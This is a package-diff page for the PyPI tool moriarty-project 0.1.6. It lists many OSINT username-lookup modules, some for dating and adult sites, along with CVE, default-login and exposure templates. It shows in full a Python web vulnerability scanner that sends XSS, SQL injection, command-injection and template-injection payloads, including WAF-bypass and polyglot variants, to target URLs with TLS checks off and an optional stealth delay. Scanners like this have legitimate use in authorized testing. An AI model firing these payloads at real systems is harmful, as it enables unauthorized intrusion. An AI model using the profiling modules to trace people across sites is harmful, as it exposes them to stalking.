PyPI - moriarty-project - Versions diffs - 0.1.6__py3-none-any.whl - Mend

moriarty-project 0.1.6__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Files changed (416) hide show

moriarty/__init__.py +5 -0
moriarty/adapters/__init__.py +0 -0
moriarty/agent/__init__.py +0 -0
moriarty/assets/modules/.gitkeep +0 -0
moriarty/assets/modules/asia/douban.yaml +19 -0
moriarty/assets/modules/asia/kakao.yaml +19 -0
moriarty/assets/modules/asia/line.yaml +19 -0
moriarty/assets/modules/asia/mixi.yaml +19 -0
moriarty/assets/modules/asia/naver.yaml +19 -0
moriarty/assets/modules/asia/qq.yaml +19 -0
moriarty/assets/modules/asia/vk.yaml +19 -0
moriarty/assets/modules/asia/wechat.yaml +19 -0
moriarty/assets/modules/asia/weibo.yaml +19 -0
moriarty/assets/modules/asia/xiaohongshu.yaml +19 -0
moriarty/assets/modules/behance.yaml +47 -0
moriarty/assets/modules/business/crunchbase.yaml +27 -0
moriarty/assets/modules/business/fiverr.yaml +32 -0
moriarty/assets/modules/business/freelancer.yaml +27 -0
moriarty/assets/modules/business/glassdoor.yaml +27 -0
moriarty/assets/modules/business/guru.yaml +26 -0
moriarty/assets/modules/business/indeed.yaml +25 -0
moriarty/assets/modules/business/monster.yaml +25 -0
moriarty/assets/modules/business/peopleperhour.yaml +26 -0
moriarty/assets/modules/business/toptal.yaml +28 -0
moriarty/assets/modules/business/upwork.yaml +27 -0
moriarty/assets/modules/business/ziprecruiter.yaml +25 -0
moriarty/assets/modules/content/buymeacoffee.yaml +27 -0
moriarty/assets/modules/content/gumroad.yaml +27 -0
moriarty/assets/modules/content/ko-fi.yaml +32 -0
moriarty/assets/modules/content/onlyfans.yaml +27 -0
moriarty/assets/modules/content/patreon.yaml +33 -0
moriarty/assets/modules/content/substack.yaml +32 -0
moriarty/assets/modules/creative/500px.yaml +31 -0
moriarty/assets/modules/creative/artstation.yaml +33 -0
moriarty/assets/modules/creative/deviantart.yaml +32 -0
moriarty/assets/modules/creative/flickr.yaml +31 -0
moriarty/assets/modules/creative/pexels.yaml +26 -0
moriarty/assets/modules/creative/unsplash.yaml +26 -0
moriarty/assets/modules/creative/vimeo.yaml +31 -0
moriarty/assets/modules/crypto/binance.yaml +27 -0
moriarty/assets/modules/crypto/bitcointalk.yaml +33 -0
moriarty/assets/modules/crypto/coinbase.yaml +26 -0
moriarty/assets/modules/crypto/etherscan.yaml +32 -0
moriarty/assets/modules/crypto/foundation.yaml +28 -0
moriarty/assets/modules/crypto/kraken.yaml +27 -0
moriarty/assets/modules/crypto/mirror.yaml +27 -0
moriarty/assets/modules/crypto/niftygateway.yaml +26 -0
moriarty/assets/modules/crypto/opensea.yaml +32 -0
moriarty/assets/modules/crypto/rarible.yaml +27 -0
moriarty/assets/modules/crypto/superrare.yaml +29 -0
moriarty/assets/modules/dating/bumble.yaml +25 -0
moriarty/assets/modules/dating/grindr.yaml +27 -0
moriarty/assets/modules/dating/happn.yaml +25 -0
moriarty/assets/modules/dating/her.yaml +27 -0
moriarty/assets/modules/dating/hinge.yaml +25 -0
moriarty/assets/modules/dating/match.yaml +25 -0
moriarty/assets/modules/dating/meetme.yaml +27 -0
moriarty/assets/modules/dating/okcupid.yaml +25 -0
moriarty/assets/modules/dating/pof.yaml +25 -0
moriarty/assets/modules/dating/tinder.yaml +25 -0
moriarty/assets/modules/dating-nsfw/adultfriendfinder.yaml +28 -0
moriarty/assets/modules/dating-nsfw/ashley-madison.yaml +26 -0
moriarty/assets/modules/design/adobe-portfolio.yaml +27 -0
moriarty/assets/modules/design/carbonmade.yaml +27 -0
moriarty/assets/modules/design/cgsociety.yaml +27 -0
moriarty/assets/modules/design/coroflot.yaml +27 -0
moriarty/assets/modules/design/figma.yaml +27 -0
moriarty/assets/modules/design/sketch.yaml +26 -0
moriarty/assets/modules/dev/bitbucket.yaml +35 -0
moriarty/assets/modules/dev/codeforces.yaml +32 -0
moriarty/assets/modules/dev/codepen.yaml +34 -0
moriarty/assets/modules/dev/hackerone.yaml +32 -0
moriarty/assets/modules/dev/hackthebox.yaml +27 -0
moriarty/assets/modules/dev/huggingface.yaml +27 -0
moriarty/assets/modules/dev/kaggle.yaml +32 -0
moriarty/assets/modules/dev/leetcode.yaml +32 -0
moriarty/assets/modules/dev/replit.yaml +31 -0
moriarty/assets/modules/dribbble.yaml +53 -0
moriarty/assets/modules/ecommerce/etsy.yaml +32 -0
moriarty/assets/modules/education/duolingo.yaml +32 -0
moriarty/assets/modules/education/edx.yaml +26 -0
moriarty/assets/modules/education/khanacademy.yaml +26 -0
moriarty/assets/modules/education/lynda.yaml +27 -0
moriarty/assets/modules/education/memrise.yaml +27 -0
moriarty/assets/modules/education/pluralsight.yaml +27 -0
moriarty/assets/modules/education/skillshare.yaml +27 -0
moriarty/assets/modules/education/udacity.yaml +27 -0
moriarty/assets/modules/email/github_email.yaml +40 -0
moriarty/assets/modules/email/gravatar.yaml +23 -0
moriarty/assets/modules/europe/badoo.yaml +19 -0
moriarty/assets/modules/europe/lovoo.yaml +19 -0
moriarty/assets/modules/europe/myspace.yaml +19 -0
moriarty/assets/modules/europe/netlog.yaml +19 -0
moriarty/assets/modules/europe/ok.yaml +19 -0
moriarty/assets/modules/europe/skyrock.yaml +19 -0
moriarty/assets/modules/europe/studivz.yaml +19 -0
moriarty/assets/modules/europe/tuenti.yaml +19 -0
moriarty/assets/modules/europe/viadeo.yaml +19 -0
moriarty/assets/modules/europe/xing.yaml +19 -0
moriarty/assets/modules/fitness/fitbit.yaml +27 -0
moriarty/assets/modules/fitness/garmin.yaml +27 -0
moriarty/assets/modules/fitness/myfitnesspal.yaml +27 -0
moriarty/assets/modules/fitness/strava.yaml +33 -0
moriarty/assets/modules/fitness/zwift.yaml +28 -0
moriarty/assets/modules/food/allrecipes.yaml +27 -0
moriarty/assets/modules/food/tasty.yaml +27 -0
moriarty/assets/modules/food/yelp.yaml +32 -0
moriarty/assets/modules/food/zomato.yaml +28 -0
moriarty/assets/modules/forums/4chan.yaml +26 -0
moriarty/assets/modules/forums/8kun.yaml +26 -0
moriarty/assets/modules/forums/9gag.yaml +26 -0
moriarty/assets/modules/forums/discourse.yaml +26 -0
moriarty/assets/modules/forums/disqus.yaml +31 -0
moriarty/assets/modules/forums/hackernews.yaml +32 -0
moriarty/assets/modules/forums/launchpad.yaml +27 -0
moriarty/assets/modules/forums/phpbb.yaml +25 -0
moriarty/assets/modules/forums/quora.yaml +32 -0
moriarty/assets/modules/forums/serverfault.yaml +27 -0
moriarty/assets/modules/forums/slashdot.yaml +28 -0
moriarty/assets/modules/forums/stackexchange.yaml +32 -0
moriarty/assets/modules/forums/superuser.yaml +27 -0
moriarty/assets/modules/forums/vbulletin.yaml +25 -0
moriarty/assets/modules/forums/xenforo.yaml +25 -0
moriarty/assets/modules/forums-nsfw/kiwifarms.yaml +25 -0
moriarty/assets/modules/forums-nsfw/lolcow.yaml +26 -0
moriarty/assets/modules/gaming/apextracker.yaml +27 -0
moriarty/assets/modules/gaming/battlenet.yaml +26 -0
moriarty/assets/modules/gaming/chess.yaml +30 -0
moriarty/assets/modules/gaming/discord-public.yaml +27 -0
moriarty/assets/modules/gaming/dotabuff.yaml +32 -0
moriarty/assets/modules/gaming/epicgames.yaml +25 -0
moriarty/assets/modules/gaming/faceit.yaml +33 -0
moriarty/assets/modules/gaming/fortnitetracker.yaml +32 -0
moriarty/assets/modules/gaming/gog.yaml +26 -0
moriarty/assets/modules/gaming/itch.yaml +32 -0
moriarty/assets/modules/gaming/kongregate.yaml +25 -0
moriarty/assets/modules/gaming/minecraft.yaml +31 -0
moriarty/assets/modules/gaming/opgg.yaml +32 -0
moriarty/assets/modules/gaming/origin.yaml +26 -0
moriarty/assets/modules/gaming/playstation.yaml +30 -0
moriarty/assets/modules/gaming/roblox.yaml +31 -0
moriarty/assets/modules/gaming/xbox.yaml +25 -0
moriarty/assets/modules/github.yaml +68 -0
moriarty/assets/modules/gitlab.yaml +60 -0
moriarty/assets/modules/instagram.yaml +48 -0
moriarty/assets/modules/latam/fotolog.yaml +27 -0
moriarty/assets/modules/latam/orkut.yaml +26 -0
moriarty/assets/modules/latam/taringa.yaml +27 -0
moriarty/assets/modules/learning/coursera.yaml +26 -0
moriarty/assets/modules/learning/udemy.yaml +26 -0
moriarty/assets/modules/linkedin.yaml +40 -0
moriarty/assets/modules/marketplaces/depop.yaml +28 -0
moriarty/assets/modules/marketplaces/ebay.yaml +32 -0
moriarty/assets/modules/marketplaces/grailed.yaml +27 -0
moriarty/assets/modules/marketplaces/mercari.yaml +26 -0
moriarty/assets/modules/marketplaces/poshmark.yaml +27 -0
moriarty/assets/modules/marketplaces/reverb.yaml +27 -0
moriarty/assets/modules/marketplaces/vinted.yaml +28 -0
moriarty/assets/modules/medium.yaml +44 -0
moriarty/assets/modules/music/audiomack.yaml +26 -0
moriarty/assets/modules/music/bandcamp.yaml +30 -0
moriarty/assets/modules/music/beatport.yaml +28 -0
moriarty/assets/modules/music/deezer.yaml +26 -0
moriarty/assets/modules/music/discogs.yaml +32 -0
moriarty/assets/modules/music/genius.yaml +26 -0
moriarty/assets/modules/music/lastfm.yaml +30 -0
moriarty/assets/modules/music/mixcloud.yaml +26 -0
moriarty/assets/modules/music/reverbnation.yaml +31 -0
moriarty/assets/modules/music/soundcloud.yaml +31 -0
moriarty/assets/modules/music/spotify.yaml +26 -0
moriarty/assets/modules/music/tidal.yaml +26 -0
moriarty/assets/modules/nsfw/adultwork.yaml +27 -0
moriarty/assets/modules/nsfw/bongacams.yaml +28 -0
moriarty/assets/modules/nsfw/cam4.yaml +28 -0
moriarty/assets/modules/nsfw/chaturbate.yaml +28 -0
moriarty/assets/modules/nsfw/clips4sale.yaml +27 -0
moriarty/assets/modules/nsfw/extralunchmoney.yaml +27 -0
moriarty/assets/modules/nsfw/fansly.yaml +28 -0
moriarty/assets/modules/nsfw/fetlife.yaml +28 -0
moriarty/assets/modules/nsfw/iwantclips.yaml +27 -0
moriarty/assets/modules/nsfw/justforfans.yaml +28 -0
moriarty/assets/modules/nsfw/loyalfans.yaml +28 -0
moriarty/assets/modules/nsfw/manyvids.yaml +27 -0
moriarty/assets/modules/nsfw/myfreecams.yaml +28 -0
moriarty/assets/modules/nsfw/niteflirt.yaml +26 -0
moriarty/assets/modules/nsfw/pornhub.yaml +32 -0
moriarty/assets/modules/nsfw/redtube.yaml +27 -0
moriarty/assets/modules/nsfw/stripchat.yaml +28 -0
moriarty/assets/modules/nsfw/xhamster.yaml +27 -0
moriarty/assets/modules/nsfw/xvideos.yaml +27 -0
moriarty/assets/modules/nsfw/youporn.yaml +27 -0
moriarty/assets/modules/photography/eyeem.yaml +25 -0
moriarty/assets/modules/photography/fotki.yaml +25 -0
moriarty/assets/modules/photography/photobucket.yaml +26 -0
moriarty/assets/modules/photography/smugmug.yaml +25 -0
moriarty/assets/modules/photography/vsco.yaml +27 -0
moriarty/assets/modules/pinterest.yaml +40 -0
moriarty/assets/modules/podcasts/anchor.yaml +26 -0
moriarty/assets/modules/podcasts/castbox.yaml +26 -0
moriarty/assets/modules/podcasts/podbean.yaml +26 -0
moriarty/assets/modules/professional/about.yaml +31 -0
moriarty/assets/modules/professional/academia.yaml +27 -0
moriarty/assets/modules/professional/angellist.yaml +27 -0
moriarty/assets/modules/professional/calendly.yaml +26 -0
moriarty/assets/modules/professional/issuu.yaml +27 -0
moriarty/assets/modules/professional/mendeley.yaml +27 -0
moriarty/assets/modules/professional/notion.yaml +27 -0
moriarty/assets/modules/professional/orcid.yaml +27 -0
moriarty/assets/modules/professional/producthunt.yaml +31 -0
moriarty/assets/modules/professional/researchgate.yaml +32 -0
moriarty/assets/modules/professional/scribd.yaml +27 -0
moriarty/assets/modules/professional/slideshare.yaml +31 -0
moriarty/assets/modules/professional/trello.yaml +26 -0
moriarty/assets/modules/professional/typeform.yaml +27 -0
moriarty/assets/modules/reddit.yaml +46 -0
moriarty/assets/modules/regional/amino.yaml +27 -0
moriarty/assets/modules/regional/ask-fm.yaml +32 -0
moriarty/assets/modules/regional/babycenter.yaml +26 -0
moriarty/assets/modules/regional/cafemom.yaml +27 -0
moriarty/assets/modules/regional/care2.yaml +27 -0
moriarty/assets/modules/regional/diaspora.yaml +26 -0
moriarty/assets/modules/regional/ello.yaml +27 -0
moriarty/assets/modules/regional/gaia.yaml +27 -0
moriarty/assets/modules/regional/habbo.yaml +27 -0
moriarty/assets/modules/regional/imvu.yaml +27 -0
moriarty/assets/modules/regional/lemmy.yaml +27 -0
moriarty/assets/modules/regional/peertube.yaml +26 -0
moriarty/assets/modules/regional/pixelfed.yaml +27 -0
moriarty/assets/modules/regional/plurk.yaml +26 -0
moriarty/assets/modules/regional/recroom.yaml +27 -0
moriarty/assets/modules/regional/secondlife.yaml +26 -0
moriarty/assets/modules/regional/vine-archive.yaml +27 -0
moriarty/assets/modules/regional/vrchat.yaml +27 -0
moriarty/assets/modules/regional/weheartit.yaml +27 -0
moriarty/assets/modules/social/anilist.yaml +27 -0
moriarty/assets/modules/social/beacons.yaml +26 -0
moriarty/assets/modules/social/blogger.yaml +27 -0
moriarty/assets/modules/social/crunchyroll.yaml +27 -0
moriarty/assets/modules/social/discord.yaml +27 -0
moriarty/assets/modules/social/dreamwidth.yaml +26 -0
moriarty/assets/modules/social/facebook.yaml +34 -0
moriarty/assets/modules/social/goodreads.yaml +32 -0
moriarty/assets/modules/social/imdb.yaml +27 -0
moriarty/assets/modules/social/kitsu.yaml +27 -0
moriarty/assets/modules/social/letterboxd.yaml +32 -0
moriarty/assets/modules/social/linktree.yaml +26 -0
moriarty/assets/modules/social/livejournal.yaml +27 -0
moriarty/assets/modules/social/mastodon.yaml +30 -0
moriarty/assets/modules/social/minds.yaml +25 -0
moriarty/assets/modules/social/myanimelist.yaml +32 -0
moriarty/assets/modules/social/ravelry.yaml +27 -0
moriarty/assets/modules/social/snapchat.yaml +25 -0
moriarty/assets/modules/social/telegram.yaml +35 -0
moriarty/assets/modules/social/tiktok.yaml +35 -0
moriarty/assets/modules/social/trakt.yaml +28 -0
moriarty/assets/modules/social/wattpad.yaml +32 -0
moriarty/assets/modules/social/wordpress-com.yaml +26 -0
moriarty/assets/modules/sports/espn.yaml +26 -0
moriarty/assets/modules/sports/untappd.yaml +32 -0
moriarty/assets/modules/stackoverflow.yaml +47 -0
moriarty/assets/modules/steam.yaml +47 -0
moriarty/assets/modules/streaming/caffeine.yaml +25 -0
moriarty/assets/modules/streaming/dlive.yaml +27 -0
moriarty/assets/modules/streaming/trovo.yaml +25 -0
moriarty/assets/modules/travel/airbnb.yaml +26 -0
moriarty/assets/modules/travel/booking.yaml +26 -0
moriarty/assets/modules/travel/couchsurfing.yaml +27 -0
moriarty/assets/modules/travel/tripadvisor.yaml +32 -0
moriarty/assets/modules/tumblr.yaml +40 -0
moriarty/assets/modules/twitch.yaml +48 -0
moriarty/assets/modules/twitter.yaml +39 -0
moriarty/assets/modules/youtube.yaml +42 -0
moriarty/assets/templates/cves/CVE-2017-5638.yaml +27 -0
moriarty/assets/templates/cves/CVE-2018-7600.yaml +30 -0
moriarty/assets/templates/cves/CVE-2019-11510.yaml +27 -0
moriarty/assets/templates/cves/CVE-2019-19781.yaml +28 -0
moriarty/assets/templates/cves/CVE-2020-14882.yaml +28 -0
moriarty/assets/templates/cves/CVE-2020-14883.yaml +29 -0
moriarty/assets/templates/cves/CVE-2020-3452.yaml +28 -0
moriarty/assets/templates/cves/CVE-2020-5902.yaml +28 -0
moriarty/assets/templates/cves/CVE-2021-21972.yaml +31 -0
moriarty/assets/templates/cves/CVE-2021-21985.yaml +28 -0
moriarty/assets/templates/cves/CVE-2021-26084.yaml +30 -0
moriarty/assets/templates/cves/CVE-2021-41773.yaml +25 -0
moriarty/assets/templates/cves/CVE-2021-42013.yaml +28 -0
moriarty/assets/templates/cves/CVE-2021-44228.yaml +27 -0
moriarty/assets/templates/cves/CVE-2022-0185.yaml +21 -0
moriarty/assets/templates/cves/CVE-2022-1388.yaml +36 -0
moriarty/assets/templates/cves/CVE-2022-22954.yaml +28 -0
moriarty/assets/templates/cves/CVE-2022-22965.yaml +31 -0
moriarty/assets/templates/cves/CVE-2022-26134.yaml +27 -0
moriarty/assets/templates/cves/CVE-2023-22515.yaml +27 -0
moriarty/assets/templates/cves/CVE-2023-22527.yaml +29 -0
moriarty/assets/templates/cves/CVE-2023-23752.yaml +33 -0
moriarty/assets/templates/cves/CVE-2023-27350.yaml +27 -0
moriarty/assets/templates/cves/CVE-2023-2868.yaml +27 -0
moriarty/assets/templates/cves/CVE-2023-34362.yaml +27 -0
moriarty/assets/templates/cves/CVE-2023-3519.yaml +28 -0
moriarty/assets/templates/cves/CVE-2023-4966.yaml +27 -0
moriarty/assets/templates/default-logins/admin-weak.yaml +40 -0
moriarty/assets/templates/default-logins/wordpress-default.yaml +38 -0
moriarty/assets/templates/exposures/aws-credentials.yaml +35 -0
moriarty/assets/templates/exposures/backup-files.yaml +36 -0
moriarty/assets/templates/exposures/database-files.yaml +34 -0
moriarty/assets/templates/exposures/docker-exposed.yaml +31 -0
moriarty/assets/templates/exposures/env-exposed.yaml +41 -0
moriarty/assets/templates/exposures/git-exposed.yaml +41 -0
moriarty/assets/templates/exposures/phpinfo.yaml +36 -0
moriarty/assets/templates/exposures/svn-exposed.yaml +28 -0
moriarty/assets/templates/fuzzing/api-endpoints.yaml +39 -0
moriarty/assets/templates/fuzzing/common-files.yaml +37 -0
moriarty/assets/templates/fuzzing/open-redirect-fuzz.yaml +35 -0
moriarty/assets/templates/fuzzing/xss-search-fuzz.yaml +29 -0
moriarty/assets/templates/git-config.yaml +18 -0
moriarty/assets/templates/misconfigurations/cors-misconfiguration.yaml +30 -0
moriarty/assets/templates/misconfigurations/debug-enabled.yaml +29 -0
moriarty/assets/templates/misconfigurations/directory-listing.yaml +33 -0
moriarty/assets/templates/misconfigurations/jwt-none-algo.yaml +30 -0
moriarty/assets/templates/misconfigurations/ssl-tls-weak.yaml +23 -0
moriarty/assets/templates/vulnerabilities/lfi-basic.yaml +31 -0
moriarty/assets/templates/vulnerabilities/open-redirect.yaml +31 -0
moriarty/assets/templates/vulnerabilities/rce-basic.yaml +34 -0
moriarty/assets/templates/vulnerabilities/sqli-error.yaml +39 -0
moriarty/assets/templates/vulnerabilities/ssrf-basic.yaml +31 -0
moriarty/assets/templates/vulnerabilities/xss-reflected.yaml +38 -0
moriarty/assets/templates/vulnerabilities/xxe-basic.yaml +30 -0
moriarty/assets/wordlists/subdomains-1000.txt +1063 -0
moriarty/cli/__init__.py +3 -0
moriarty/cli/app.py +120 -0
moriarty/cli/async_utils.py +19 -0
moriarty/cli/dns.py +83 -0
moriarty/cli/domain_cmd.py +572 -0
moriarty/cli/email.py +383 -0
moriarty/cli/email_investigate.py +224 -0
moriarty/cli/intelligence.py +329 -0
moriarty/cli/output.py +62 -0
moriarty/cli/rdap.py +94 -0
moriarty/cli/state.py +38 -0
moriarty/cli/tls.py +91 -0
moriarty/cli/user.py +227 -0
moriarty/core/cache_backend.py +223 -0
moriarty/core/config_manager.py +303 -0
moriarty/correlator/__init__.py +0 -0
moriarty/data/__init__.py +81 -0
moriarty/data/ioc/__init__.py +142 -0
moriarty/data/ioc/matcher.py +254 -0
moriarty/data/ioc/types.py +267 -0
moriarty/data/local_intelligence.py +507 -0
moriarty/data/signature_loaders/__init__.py +103 -0
moriarty/data/signature_loaders/base.py +54 -0
moriarty/data/signature_loaders/ioc_feed.py +356 -0
moriarty/data/signature_loaders/wappalyzer.py +112 -0
moriarty/dsl/__init__.py +0 -0
moriarty/dsl/loader.py +99 -0
moriarty/dsl/schema.py +47 -0
moriarty/export/__init__.py +0 -0
moriarty/intelligence/__init__.py +27 -0
moriarty/intelligence/__main__.py +150 -0
moriarty/intelligence/config.py +395 -0
moriarty/intelligence/ioc.py +267 -0
moriarty/intelligence/signatures.py +550 -0
moriarty/intelligence/storage.py +501 -0
moriarty/interop/__init__.py +0 -0
moriarty/logging/__init__.py +0 -0
moriarty/logging/config.py +47 -0
moriarty/models/__init__.py +16 -0
moriarty/models/assertion.py +24 -0
moriarty/models/entity.py +22 -0
moriarty/models/evidence.py +37 -0
moriarty/models/relation.py +24 -0
moriarty/models/types.py +28 -0
moriarty/modules/__init__.py +0 -0
moriarty/modules/avatar_hash.py +184 -0
moriarty/modules/directory_fuzzer.py +322 -0
moriarty/modules/dns_scan.py +40 -0
moriarty/modules/domain_scanner.py +620 -0
moriarty/modules/email_check.py +98 -0
moriarty/modules/email_investigate.py +267 -0
moriarty/modules/email_security.py +274 -0
moriarty/modules/googlemaps_lookup.py +106 -0
moriarty/modules/headless_executor.py +201 -0
moriarty/modules/orchestrator.py +60 -0
moriarty/modules/passive_recon.py +444 -0
moriarty/modules/phone_extractor.py +151 -0
moriarty/modules/pipeline_orchestrator.py +726 -0
moriarty/modules/port_scanner.py +129 -0
moriarty/modules/rdap.py +61 -0
moriarty/modules/rdap_extended.py +188 -0
moriarty/modules/stealth_mode.py +610 -0
moriarty/modules/subdomain_discovery.py +595 -0
moriarty/modules/technology_profiler.py +361 -0
moriarty/modules/template_executor.py +239 -0
moriarty/modules/template_scanner.py +1048 -0
moriarty/modules/tls_scan.py +46 -0
moriarty/modules/tls_validator.py +188 -0
moriarty/modules/vuln_scanner.py +483 -0
moriarty/modules/waf_detector.py +585 -0
moriarty/modules/wayback_discovery.py +234 -0
moriarty/modules/web_crawler.py +163 -0
moriarty/net/__init__.py +0 -0
moriarty/net/dns_cache.py +175 -0
moriarty/net/dns_client.py +188 -0
moriarty/net/rdap_client.py +52 -0
moriarty/net/smtp_client.py +114 -0
moriarty/net/tls_client.py +111 -0
moriarty/parsers/__init__.py +0 -0
moriarty/parsers/html_parser.py +136 -0
moriarty/tests/__init__.py +0 -0
moriarty/tests/test_email_service.py +17 -0
moriarty/tests/test_models.py +46 -0
moriarty/tests/test_orchestrator.py +30 -0
moriarty/tests/test_tls_client.py +18 -0
moriarty_project-0.1.6.dist-info/METADATA +388 -0
moriarty_project-0.1.6.dist-info/RECORD +418 -0
moriarty_project-0.1.6.dist-info/WHEEL +4 -0
moriarty_project-0.1.6.dist-info/entry_points.txt +2 -0

moriarty/modules/vuln_scanner.py ADDED Viewed

@@ -0,0 +1,483 @@
+"""Scanner de vulnerabilidades XSS/SQLi com bypass de WAF."""
+import asyncio
+import re
+from dataclasses import dataclass
+from typing import List, Dict, Any, Optional, Set
+from urllib.parse import urlencode, parse_qs, urlparse, urlunparse
+import httpx
+import structlog
+from rich.console import Console
+from rich.progress import Progress
+logger = structlog.get_logger(__name__)
+console = Console()
+@dataclass
+class Vulnerability:
+    """Vulnerabilidade encontrada."""
+    type: str  # xss, sqli, rce, etc
+    severity: str  # critical, high, medium, low
+    url: str
+    parameter: str
+    payload: str
+    method: str
+    evidence: str
+    poc: str
+class VulnScanner:
+    """
+    Scanner de vulnerabilidades web.
+    Detecta:
+    - XSS (Reflected, Stored, DOM-based)
+    - SQL Injection (Error-based, Boolean-based, Time-based)
+    - Command Injection
+    - Template Injection
+    - Open Redirect
+    - SSRF
+    """
+    # XSS Payloads
+    XSS_PAYLOADS = [
+        # Basic
+        '<script>alert(1)</script>',
+        '<img src=x onerror=alert(1)>',
+        '<svg onload=alert(1)>',
+        # Encoded
+        '%3Cscript%3Ealert(1)%3C/script%3E',
+        # Context breaking
+        '"><script>alert(1)</script>',
+        '\'-alert(1)-\'',
+        # Event handlers
+        '" onmouseover="alert(1)',
+        '<body onload=alert(1)>',
+        # WAF bypass
+        '<scrip<script>t>alert(1)</script>',
+        '<img src=x oneonerrorrror=alert(1)>',
+        # Polyglot
+        'jaVasCript:/*-/*`/*\`/*\'/*"/**/(/* */onerror=alert(1) )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(1)//>',
+    ]
+    # SQLi Payloads
+    SQLI_PAYLOADS = [
+        # Error-based
+        "'",
+        '"',
+        "' OR '1'='1",
+        '" OR "1"="1',
+        "' OR '1'='1' --",
+        "' OR '1'='1' /*",
+        # Boolean-based
+        "1' AND '1'='1",
+        "1' AND '1'='2",
+        # Time-based
+        "1' AND SLEEP(5)--",
+        "1'; WAITFOR DELAY '00:00:05'--",
+        "1' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--",
+        # Union-based
+        "' UNION SELECT NULL--",
+        "' UNION SELECT NULL,NULL--",
+        "' UNION SELECT NULL,NULL,NULL--",
+        # WAF bypass
+        "1'/**/OR/**/1=1--",
+        "1'/**/AND/**/SLEEP(5)--",
+        "1' /*!50000AND*/ SLEEP(5)--",
+    ]
+    # SQLi Error Signatures
+    SQLI_ERRORS = [
+        r"SQL syntax.*MySQL",
+        r"Warning.*mysql_.*",
+        r"valid MySQL result",
+        r"MySqlClient\.",
+        r"PostgreSQL.*ERROR",
+        r"Warning.*\Wpg_.*",
+        r"valid PostgreSQL result",
+        r"Npgsql\.",
+        r"Driver.* SQL[-_ ]*Server",
+        r"OLE DB.* SQL Server",
+        r"(\W|\A)SQL Server.*Driver",
+        r"Warning.*mssql_.*",
+        r"Microsoft SQL Native Client error",
+        r"ODBC SQL Server Driver",
+        r"SQLServer JDBC Driver",
+        r"Oracle error",
+        r"Oracle.*Driver",
+        r"Warning.*\Woci_.*",
+        r"Warning.*\Wora_.*",
+    ]
+    # Command Injection
+    CMD_PAYLOADS = [
+        '; ls',
+        '| ls',
+        '&& ls',
+        '|| ls',
+        '; whoami',
+        '| whoami',
+        '`whoami`',
+        '$(whoami)',
+    ]
+    # Template Injection
+    TEMPLATE_PAYLOADS = [
+        '{{7*7}}',
+        '${7*7}',
+        '<%= 7*7 %>',
+        '${{7*7}}',
+        '#{7*7}',
+    ]
+    def __init__(
+        self,
+        targets: List[Dict[str, Any]],  # List of {url, method, params}
+        vuln_types: Optional[List[str]] = None,
+        threads: int = 10,
+        timeout: float = 10.0,
+        waf_bypass: bool = True,
+        stealth_level: int = 0,
+    ):
+        self.targets = targets
+        self.vuln_types = vuln_types or ['xss', 'sqli']
+        self.threads = threads
+        self.timeout = timeout
+        self.waf_bypass = waf_bypass
+        self.stealth_level = stealth_level
+        self.vulnerabilities: List[Vulnerability] = []
+    async def scan(self) -> List[Vulnerability]:
+        """Executa scan de vulnerabilidades."""
+        logger.info("vulnscan.start", targets=len(self.targets), types=self.vuln_types)
+        semaphore = asyncio.Semaphore(self.threads)
+        async with httpx.AsyncClient(
+            timeout=self.timeout,
+            follow_redirects=True,
+            verify=False
+        ) as client:
+            tasks = []
+            for target in self.targets:
+                if 'xss' in self.vuln_types:
+                    tasks.append(self._test_xss(client, semaphore, target))
+                if 'sqli' in self.vuln_types:
+                    tasks.append(self._test_sqli(client, semaphore, target))
+                if 'cmdi' in self.vuln_types:
+                    tasks.append(self._test_cmdi(client, semaphore, target))
+                if 'ssti' in self.vuln_types:
+                    tasks.append(self._test_ssti(client, semaphore, target))
+            with Progress() as progress:
+                task_id = progress.add_task("[cyan]Scanning...", total=len(tasks))
+                for coro in asyncio.as_completed(tasks):
+                    await coro
+                    progress.advance(task_id)
+        logger.info("vulnscan.complete", vulnerabilities=len(self.vulnerabilities))
+        return self.vulnerabilities
+    async def _test_xss(
+        self,
+        client: httpx.AsyncClient,
+        semaphore: asyncio.Semaphore,
+        target: Dict[str, Any]
+    ):
+        """Testa XSS."""
+        async with semaphore:
+            url = target['url']
+            method = target.get('method', 'GET')
+            params = target.get('params', {})
+            for param_name in params.keys():
+                for payload in self.XSS_PAYLOADS:
+                    try:
+                        # Stealth delay
+                        if self.stealth_level > 0:
+                            await asyncio.sleep(self.stealth_level * 0.2)
+                        # Injeta payload
+                        test_params = params.copy()
+                        test_params[param_name] = payload
+                        if method == 'GET':
+                            response = await client.get(url, params=test_params)
+                        else:
+                            response = await client.post(url, data=test_params)
+                        # Verifica se payload aparece na resposta
+                        if payload in response.text:
+                            # Verifica se não está encoded/escaped
+                            if self._is_xss_exploitable(response.text, payload):
+                                vuln = Vulnerability(
+                                    type='xss',
+                                    severity='high',
+                                    url=url,
+                                    parameter=param_name,
+                                    payload=payload,
+                                    method=method,
+                                    evidence=self._extract_evidence(response.text, payload),
+                                    poc=self._generate_poc(url, method, test_params)
+                                )
+                                self.vulnerabilities.append(vuln)
+                                console.print(
+                                    f"  [red]✗ XSS[/red] found in [cyan]{url}[/cyan] "
+                                    f"param: [yellow]{param_name}[/yellow]"
+                                )
+                                logger.warning(
+                                    "vulnscan.xss.found",
+                                    url=url,
+                                    param=param_name,
+                                    payload=payload[:50]
+                                )
+                                break
+                    except Exception as e:
+                        logger.debug("vulnscan.xss.error", error=str(e))
+    async def _test_sqli(
+        self,
+        client: httpx.AsyncClient,
+        semaphore: asyncio.Semaphore,
+        target: Dict[str, Any]
+    ):
+        """Testa SQL Injection."""
+        async with semaphore:
+            url = target['url']
+            method = target.get('method', 'GET')
+            params = target.get('params', {})
+            for param_name in params.keys():
+                # Get baseline
+                baseline = await self._get_baseline(client, url, method, params)
+                for payload in self.SQLI_PAYLOADS:
+                    try:
+                        if self.stealth_level > 0:
+                            await asyncio.sleep(self.stealth_level * 0.2)
+                        test_params = params.copy()
+                        test_params[param_name] = payload
+                        if method == 'GET':
+                            response = await client.get(url, params=test_params)
+                        else:
+                            response = await client.post(url, data=test_params)
+                        # Error-based detection
+                        if self._has_sql_error(response.text):
+                            vuln = Vulnerability(
+                                type='sqli',
+                                severity='critical',
+                                url=url,
+                                parameter=param_name,
+                                payload=payload,
+                                method=method,
+                                evidence=self._extract_sql_error(response.text),
